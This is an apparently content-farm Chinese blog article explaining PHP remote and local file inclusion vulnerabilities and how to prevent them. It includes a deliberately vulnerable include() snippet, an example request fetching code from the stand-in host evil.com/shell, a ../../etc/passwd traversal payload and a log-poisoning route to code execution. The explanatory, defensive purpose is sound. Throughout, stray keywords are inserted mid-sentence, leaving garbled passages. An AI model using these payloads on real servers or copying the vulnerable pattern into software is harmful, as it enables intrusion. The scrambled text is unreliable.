您现在的位置是:烟消火灭网 > 休闲
简述文件包含漏洞的概念
烟消火灭网2026-10-17 07:42:27【休闲】9人已围观
简介文件包含漏洞说白了就一句话:代码里用来“引入文件”的那个函数,被用户塞了不该塞的东西进去,结果服务器老老实实把那个文件当代码执行了。这事在PHP里最常见,因为PHP提供了include()、requi
文件包含漏洞说白了就一句话:代码里用来“引入文件”的简述那个函数,被用户塞了不该塞的文件东西进去,结果服务器老老实实把那个文件当代码执行了。包含这事在PHP里最常见,漏洞因为PHP提供了include()、简述require()这类函数,文件设计初衷是包含好的——让开发者可以把公共代码抽出来复用。问题出在参数没管住的漏洞时候。
举个具体的简述例子。假设有个页面叫index.php,文件里面写着:
<?包含php $page = $_GET['page']; include($page . '.php'); ?> 开发者想的是,用户传个?漏洞page=about,那就加载about.php,简述传?文件page=contact就加载contact.php。逻辑上没毛病。包含但如果有人传?page=http://evil.com/shell,那include就会去远程拉取那个文件,然后执行里面的PHP代码。服务器上的大门就这么敞开了。
这种叫远程文件包含,简称RFI。前提是PHP配置里allow_url_include得是开着的。这选项默认是关的,但总有人图方便把它打开,或者老版本的PHP根本没这个限制。RFI一旦成功,攻击者等于拿到了一个远程代码执行的入口,想干嘛干嘛。
还有一种是本地文件包含,LFI。传不了远程地址,那就传服务器本地的路径。比如?page=../../../../etc/passwd,配合路径穿越,能把系统文件读出来。读文件本身危害有限,但如果能包含服务器上的日志文件、session文件、上传的图片马,那就又绕回了代码执行。我见过一个案例,攻击者先在User-Agent里写入PHP代码,日志文件记录了这个UA字符串,然后通过LFI包含日志文件,代码就被执行了。两步组合拳,防不胜防。
为什么这种漏洞反复出现?我觉得跟开发习惯有关。include这种写法太顺手了,很多教程一上来就这么教,新手跟着学,根本不知道参数需要过滤。而且这类漏洞的利用门槛不算高,稍微懂点HTTP和路径知识就能试。CTF比赛里文件包含几乎是必考题型,也从侧面说明它的普遍性。
防御其实不复杂。最直接的办法就是别让用户控制include的路径。如果业务确实需要动态包含,用白名单——只允许几个固定的值,比如switch($page){ case 'about': include('about.php'); break; ... }。别用黑名单去过滤../或者http://,绕过手法太多了,编码、大小写、双写,防不住。另外,PHP配置里allow_url_include保持关闭,open_basedir限制一下目录范围,都能增加利用难度。
说到底,文件包含漏洞的本质是信任边界出了问题。开发者信任了用户的输入,把它直接拼进了文件路径里。任何把用户输入当代码或路径用的地方,都得绷紧这根弦。
很赞哦!(6)
上一篇: pikachu暴力破解教程
下一篇: 游戏充值诈骗套路







